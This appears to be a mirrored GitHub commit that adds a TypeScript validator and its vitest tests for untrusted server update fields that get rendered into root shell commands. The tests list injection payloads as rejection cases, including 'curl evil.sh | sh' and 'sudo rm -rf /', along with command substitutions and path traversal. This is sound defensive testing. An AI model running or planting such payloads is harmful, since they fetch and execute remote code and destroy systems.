mirror of
https://github.com/stablyai/orca.git
synced 2026-10-18 08:03:22 +00:00
feat(runtime): add shared validation for untrusted server updateInfo fields
Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
@@ -0,0 +1,279 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import type { RuntimeUpdateInfo } from './runtime-types'
|
||||
import {
|
||||
DEFAULT_INSTALL_PATH,
|
||||
DEFAULT_SERVICE_NAME,
|
||||
validateRuntimeUpdateInfo
|
||||
} from './runtime-update-info-validation'
|
||||
|
||||
// Cast arbitrary garbage to the declared type — a compromised server is not
|
||||
// bound by TypeScript, so the validator must survive non-string fields too.
|
||||
const asUpdateInfo = (value: unknown): RuntimeUpdateInfo => value as RuntimeUpdateInfo
|
||||
|
||||
describe('validateRuntimeUpdateInfo defaults', () => {
|
||||
it('yields the documented defaults for wholly-undefined input', () => {
|
||||
const result = validateRuntimeUpdateInfo(undefined)
|
||||
expect(result).toEqual({
|
||||
serviceName: DEFAULT_SERVICE_NAME,
|
||||
installPath: DEFAULT_INSTALL_PATH,
|
||||
installKind: 'unknown',
|
||||
restartKind: 'unknown'
|
||||
})
|
||||
})
|
||||
|
||||
it('treats null input the same as absent', () => {
|
||||
expect(validateRuntimeUpdateInfo(null)).toEqual({
|
||||
serviceName: DEFAULT_SERVICE_NAME,
|
||||
installPath: DEFAULT_INSTALL_PATH,
|
||||
installKind: 'unknown',
|
||||
restartKind: 'unknown'
|
||||
})
|
||||
})
|
||||
|
||||
it('does not throw on non-string garbage in every field', () => {
|
||||
const result = validateRuntimeUpdateInfo(
|
||||
asUpdateInfo({
|
||||
currentVersion: 42,
|
||||
latestVersion: {},
|
||||
updateAvailable: 'yes',
|
||||
installKind: 123,
|
||||
restartKind: [],
|
||||
serviceName: false,
|
||||
installPath: 0,
|
||||
hostArch: null,
|
||||
docsUrl: 99
|
||||
})
|
||||
)
|
||||
expect(result).toEqual({
|
||||
serviceName: DEFAULT_SERVICE_NAME,
|
||||
installPath: DEFAULT_INSTALL_PATH,
|
||||
installKind: 'unknown',
|
||||
restartKind: 'unknown'
|
||||
})
|
||||
})
|
||||
|
||||
it('accepts the documented defaults when a server echoes them back', () => {
|
||||
const result = validateRuntimeUpdateInfo({
|
||||
serviceName: 'orca-serve.service',
|
||||
installPath: '/opt/orca/orca-linux.AppImage'
|
||||
})
|
||||
expect(result.serviceName).toBe('orca-serve.service')
|
||||
expect(result.installPath).toBe('/opt/orca/orca-linux.AppImage')
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateRuntimeUpdateInfo serviceName', () => {
|
||||
it('accepts orca-prefixed unit names', () => {
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve.service' }).serviceName).toBe(
|
||||
'orca-serve.service'
|
||||
)
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: 'orca.service' }).serviceName).toBe(
|
||||
'orca.service'
|
||||
)
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: 'orca@host:1.service' }).serviceName).toBe(
|
||||
'orca@host:1.service'
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects non-orca unit names and falls back to the default', () => {
|
||||
for (const name of ['sshd.service', 'docker.service', 'x.service']) {
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
|
||||
DEFAULT_SERVICE_NAME
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects systemd flag-like names', () => {
|
||||
for (const name of ['--user.service', '-H.service']) {
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
|
||||
DEFAULT_SERVICE_NAME
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects shell-metacharacter and injection payloads', () => {
|
||||
const payloads = [
|
||||
'orca; curl evil.sh | sh.service',
|
||||
'orca`whoami`.service',
|
||||
'orca$(id).service',
|
||||
'orca serve.service',
|
||||
"orca'.service",
|
||||
'orca".service',
|
||||
'orca-serve.service\n',
|
||||
'orca && reboot.service'
|
||||
]
|
||||
for (const name of payloads) {
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
|
||||
DEFAULT_SERVICE_NAME
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects a name missing the .service suffix', () => {
|
||||
expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve' }).serviceName).toBe(
|
||||
DEFAULT_SERVICE_NAME
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateRuntimeUpdateInfo installPath', () => {
|
||||
it('accepts an absolute AppImage path', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({ installPath: '/home/user/apps/orca-linux.AppImage' }).installPath
|
||||
).toBe('/home/user/apps/orca-linux.AppImage')
|
||||
})
|
||||
|
||||
it('rejects a non-absolute path', () => {
|
||||
expect(validateRuntimeUpdateInfo({ installPath: 'orca-linux.AppImage' }).installPath).toBe(
|
||||
DEFAULT_INSTALL_PATH
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects a path without the .AppImage suffix', () => {
|
||||
for (const path of ['/opt/orca/orca-linux', '/opt/orca/orca.deb', '/usr/bin/orca']) {
|
||||
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(
|
||||
DEFAULT_INSTALL_PATH
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects path traversal and shell-metacharacter payloads', () => {
|
||||
const payloads = [
|
||||
'/opt/orca/../../etc/orca-linux.AppImage',
|
||||
'/opt/orca/$(id).AppImage',
|
||||
'/opt/orca/`whoami`.AppImage',
|
||||
'/opt/orca/orca linux.AppImage',
|
||||
'/opt/orca/orca;rm.AppImage',
|
||||
"/opt/orca/orca'.AppImage",
|
||||
'/opt/orca/orca.AppImage\n',
|
||||
'/opt/orca/orca.AppImage; sudo rm -rf /'
|
||||
]
|
||||
for (const path of payloads) {
|
||||
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(
|
||||
DEFAULT_INSTALL_PATH
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
it('accepts documented path characters (~ + . _ -)', () => {
|
||||
const path = '/opt/orca_v2/orca-linux+arm.AppImage'
|
||||
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path)
|
||||
})
|
||||
|
||||
it('accepts a dotted directory segment that is not a traversal', () => {
|
||||
const path = '/opt/orca/sub.dir/orca-linux.AppImage'
|
||||
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path)
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateRuntimeUpdateInfo versions', () => {
|
||||
it('accepts semver and prerelease strings', () => {
|
||||
const result = validateRuntimeUpdateInfo({
|
||||
currentVersion: '1.2.3',
|
||||
latestVersion: '1.2.3-beta.1'
|
||||
})
|
||||
expect(result.currentVersion).toBe('1.2.3')
|
||||
expect(result.latestVersion).toBe('1.2.3-beta.1')
|
||||
})
|
||||
|
||||
it('omits versions carrying injection payloads', () => {
|
||||
const payloads = [
|
||||
'1.2.3; curl evil | sh',
|
||||
'1.2.3`id`',
|
||||
'1.2.3$(reboot)',
|
||||
'1.2',
|
||||
'v1.2.3',
|
||||
'1.2.3\n',
|
||||
'1.2.3 && rm -rf /'
|
||||
]
|
||||
for (const version of payloads) {
|
||||
const result = validateRuntimeUpdateInfo({
|
||||
currentVersion: version,
|
||||
latestVersion: version
|
||||
})
|
||||
expect(result.currentVersion).toBeUndefined()
|
||||
expect(result.latestVersion).toBeUndefined()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateRuntimeUpdateInfo docsUrl', () => {
|
||||
it('accepts a path under stablyai/orca', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca/releases' }).docsUrl
|
||||
).toBe('https://github.com/stablyai/orca/releases')
|
||||
expect(validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca' }).docsUrl).toBe(
|
||||
'https://github.com/stablyai/orca'
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects a parsed-pathname traversal to another repo', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({
|
||||
docsUrl: 'https://github.com/stablyai/orca/../evil'
|
||||
}).docsUrl
|
||||
).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects sibling repo names sharing the prefix', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca-foo' }).docsUrl
|
||||
).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects a non-https origin', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({ docsUrl: 'http://github.com/stablyai/orca' }).docsUrl
|
||||
).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects a different host', () => {
|
||||
expect(
|
||||
validateRuntimeUpdateInfo({ docsUrl: 'https://evil.com/stablyai/orca' }).docsUrl
|
||||
).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects an unparseable url', () => {
|
||||
expect(validateRuntimeUpdateInfo({ docsUrl: 'not a url' }).docsUrl).toBeUndefined()
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateRuntimeUpdateInfo enums and flags', () => {
|
||||
it('passes through recognized install and restart kinds', () => {
|
||||
const result = validateRuntimeUpdateInfo({
|
||||
installKind: 'linux-appimage',
|
||||
restartKind: 'systemd'
|
||||
})
|
||||
expect(result.installKind).toBe('linux-appimage')
|
||||
expect(result.restartKind).toBe('systemd')
|
||||
})
|
||||
|
||||
it('maps unrecognized enum values to unknown', () => {
|
||||
const result = validateRuntimeUpdateInfo(
|
||||
asUpdateInfo({ installKind: 'gentoo-ebuild', restartKind: 'launchd' })
|
||||
)
|
||||
expect(result.installKind).toBe('unknown')
|
||||
expect(result.restartKind).toBe('unknown')
|
||||
})
|
||||
|
||||
it('accepts only x64 and arm64 for hostArch', () => {
|
||||
expect(validateRuntimeUpdateInfo({ hostArch: 'x64' }).hostArch).toBe('x64')
|
||||
expect(validateRuntimeUpdateInfo({ hostArch: 'arm64' }).hostArch).toBe('arm64')
|
||||
})
|
||||
|
||||
it('omits garbage hostArch values', () => {
|
||||
for (const arch of ['x86', 'ia32', 'riscv64', '', 'x64; rm']) {
|
||||
expect(validateRuntimeUpdateInfo({ hostArch: arch }).hostArch).toBeUndefined()
|
||||
}
|
||||
})
|
||||
|
||||
it('passes through only a literal boolean updateAvailable', () => {
|
||||
expect(validateRuntimeUpdateInfo({ updateAvailable: true }).updateAvailable).toBe(true)
|
||||
expect(validateRuntimeUpdateInfo({ updateAvailable: false }).updateAvailable).toBe(false)
|
||||
expect(validateRuntimeUpdateInfo({ updateAvailable: null }).updateAvailable).toBeUndefined()
|
||||
expect(
|
||||
validateRuntimeUpdateInfo(asUpdateInfo({ updateAvailable: 'true' })).updateAvailable
|
||||
).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,169 @@
|
||||
import type { RuntimeInstallKind, RuntimeRestartKind, RuntimeUpdateInfo } from './runtime-types'
|
||||
|
||||
// Why: every field of updateInfo crosses a trust boundary — it comes from a
|
||||
// possibly-compromised server and some of it is rendered into commands the user
|
||||
// pastes into a root shell. This module discards anything that fails validation
|
||||
// and substitutes documented defaults, so the advisor UI can trust its output.
|
||||
// Dependency-free (no Electron/Node imports; `new URL` exists everywhere) so the
|
||||
// mobile client can mirror it.
|
||||
|
||||
// Why: the template `sudo systemctl restart`s / `sudo mv`s onto these, so a
|
||||
// rejected server value must fall back to a value the client itself owns.
|
||||
export const DEFAULT_SERVICE_NAME = 'orca-serve.service'
|
||||
export const DEFAULT_INSTALL_PATH = '/opt/orca/orca-linux.AppImage'
|
||||
|
||||
const INSTALL_KINDS: ReadonlySet<RuntimeInstallKind> = new Set([
|
||||
'mac-app',
|
||||
'mac-homebrew',
|
||||
'windows-installer',
|
||||
'linux-appimage',
|
||||
'linux-deb',
|
||||
'linux-rpm',
|
||||
'source',
|
||||
'unknown'
|
||||
])
|
||||
|
||||
const RESTART_KINDS: ReadonlySet<RuntimeRestartKind> = new Set([
|
||||
'desktop',
|
||||
'foreground-serve',
|
||||
'systemd',
|
||||
'unknown'
|
||||
])
|
||||
|
||||
const RECOGNIZED_ARCHES = ['x64', 'arm64'] as const
|
||||
type RecognizedArch = (typeof RECOGNIZED_ARCHES)[number]
|
||||
|
||||
// Mandatory `orca` prefix: mirrors the systemd cgroup-detection trust rule so a
|
||||
// compromised server cannot aim the restart at `sshd.service`; the leading
|
||||
// alphanumeric also means the value can never parse as a `systemctl` flag.
|
||||
const SERVICE_NAME_PATTERN = /^orca[A-Za-z0-9@:._-]{0,75}\.service$/
|
||||
// Absolute, no spaces/quotes/shell metacharacters. The `.AppImage` suffix is
|
||||
// load-bearing: the template `sudo mv`s onto this path.
|
||||
const INSTALL_PATH_PATTERN = /^[A-Za-z0-9/._~+-]{1,256}$/
|
||||
const VERSION_PATTERN = /^\d+\.\d+\.\d+(-[A-Za-z0-9.-]{1,40})?$/
|
||||
|
||||
// Why: without the `m` flag, `$` also matches just before a trailing newline, so
|
||||
// `"orca-serve.service\n"` would pass a `…\.service$` test and smuggle a newline
|
||||
// into a command. Reject any string carrying a line break outright.
|
||||
const matchesFully = (value: string, pattern: RegExp): boolean =>
|
||||
!/[\r\n]/.test(value) && pattern.test(value)
|
||||
|
||||
const validateServiceName = (value: unknown): string | undefined =>
|
||||
typeof value === 'string' && matchesFully(value, SERVICE_NAME_PATTERN) ? value : undefined
|
||||
|
||||
const validateInstallPath = (value: unknown): string | undefined =>
|
||||
typeof value === 'string' &&
|
||||
value.startsWith('/') &&
|
||||
value.endsWith('.AppImage') &&
|
||||
// Reject `..` outright: the char class permits it, but a traversal segment
|
||||
// could steer the template's `sudo mv` above the intended install dir even
|
||||
// while keeping the load-bearing `.AppImage` suffix.
|
||||
!value.includes('..') &&
|
||||
matchesFully(value, INSTALL_PATH_PATTERN)
|
||||
? value
|
||||
: undefined
|
||||
|
||||
const validateVersion = (value: unknown): string | undefined =>
|
||||
typeof value === 'string' && matchesFully(value, VERSION_PATTERN) ? value : undefined
|
||||
|
||||
// Render only when the origin is github.com and the *parsed* pathname is exactly
|
||||
// `/stablyai/orca` or a child of it. Parsing defeats `…/orca/../other-repo`
|
||||
// (which a raw prefix check passes); the trailing slash rules out `orca-foo`.
|
||||
const validateDocsUrl = (value: unknown): string | undefined => {
|
||||
if (typeof value !== 'string') {
|
||||
return undefined
|
||||
}
|
||||
let parsed: URL
|
||||
try {
|
||||
parsed = new URL(value)
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
if (parsed.origin !== 'https://github.com') {
|
||||
return undefined
|
||||
}
|
||||
const path = parsed.pathname
|
||||
if (path === '/stablyai/orca' || path.startsWith('/stablyai/orca/')) {
|
||||
return value
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
const validateInstallKind = (value: unknown): RuntimeInstallKind =>
|
||||
typeof value === 'string' && INSTALL_KINDS.has(value as RuntimeInstallKind)
|
||||
? (value as RuntimeInstallKind)
|
||||
: 'unknown'
|
||||
|
||||
const validateRestartKind = (value: unknown): RuntimeRestartKind =>
|
||||
typeof value === 'string' && RESTART_KINDS.has(value as RuntimeRestartKind)
|
||||
? (value as RuntimeRestartKind)
|
||||
: 'unknown'
|
||||
|
||||
const validateHostArch = (value: unknown): RecognizedArch | undefined =>
|
||||
RECOGNIZED_ARCHES.includes(value as RecognizedArch) ? (value as RecognizedArch) : undefined
|
||||
|
||||
/**
|
||||
* The advisor-trusted shape derived from untrusted server `updateInfo`.
|
||||
*
|
||||
* `serviceName`, `installPath`, `installKind`, and `restartKind` are always
|
||||
* present — a rejected server value falls back to a documented default (or
|
||||
* `'unknown'`), because the guide templates need something safe to render.
|
||||
* Display-only fields are optional: absent means "the server gave us nothing
|
||||
* valid to show", not "use a default".
|
||||
*/
|
||||
export type ValidatedRuntimeUpdateInfo = {
|
||||
serviceName: string
|
||||
installPath: string
|
||||
installKind: RuntimeInstallKind
|
||||
restartKind: RuntimeRestartKind
|
||||
currentVersion?: string
|
||||
latestVersion?: string
|
||||
updateAvailable?: boolean
|
||||
hostArch?: RecognizedArch
|
||||
docsUrl?: string
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate untrusted server-supplied `updateInfo`. Never throws: a wholly
|
||||
* absent input (cold-start servers send none) or non-string garbage in any
|
||||
* field yields the defaults shape with display-only fields omitted.
|
||||
*/
|
||||
export const validateRuntimeUpdateInfo = (
|
||||
updateInfo: RuntimeUpdateInfo | null | undefined
|
||||
): ValidatedRuntimeUpdateInfo => {
|
||||
const info = (updateInfo ?? {}) as Record<keyof RuntimeUpdateInfo, unknown>
|
||||
|
||||
const validated: ValidatedRuntimeUpdateInfo = {
|
||||
serviceName: validateServiceName(info.serviceName) ?? DEFAULT_SERVICE_NAME,
|
||||
installPath: validateInstallPath(info.installPath) ?? DEFAULT_INSTALL_PATH,
|
||||
installKind: validateInstallKind(info.installKind),
|
||||
restartKind: validateRestartKind(info.restartKind)
|
||||
}
|
||||
|
||||
const currentVersion = validateVersion(info.currentVersion)
|
||||
if (currentVersion !== undefined) {
|
||||
validated.currentVersion = currentVersion
|
||||
}
|
||||
|
||||
const latestVersion = validateVersion(info.latestVersion)
|
||||
if (latestVersion !== undefined) {
|
||||
validated.latestVersion = latestVersion
|
||||
}
|
||||
|
||||
// Only a literal boolean passes; null/undefined/garbage → absent.
|
||||
if (typeof info.updateAvailable === 'boolean') {
|
||||
validated.updateAvailable = info.updateAvailable
|
||||
}
|
||||
|
||||
const hostArch = validateHostArch(info.hostArch)
|
||||
if (hostArch !== undefined) {
|
||||
validated.hostArch = hostArch
|
||||
}
|
||||
|
||||
const docsUrl = validateDocsUrl(info.docsUrl)
|
||||
if (docsUrl !== undefined) {
|
||||
validated.docsUrl = docsUrl
|
||||
}
|
||||
|
||||
return validated
|
||||
}
|
||||
Reference in New Issue
Block a user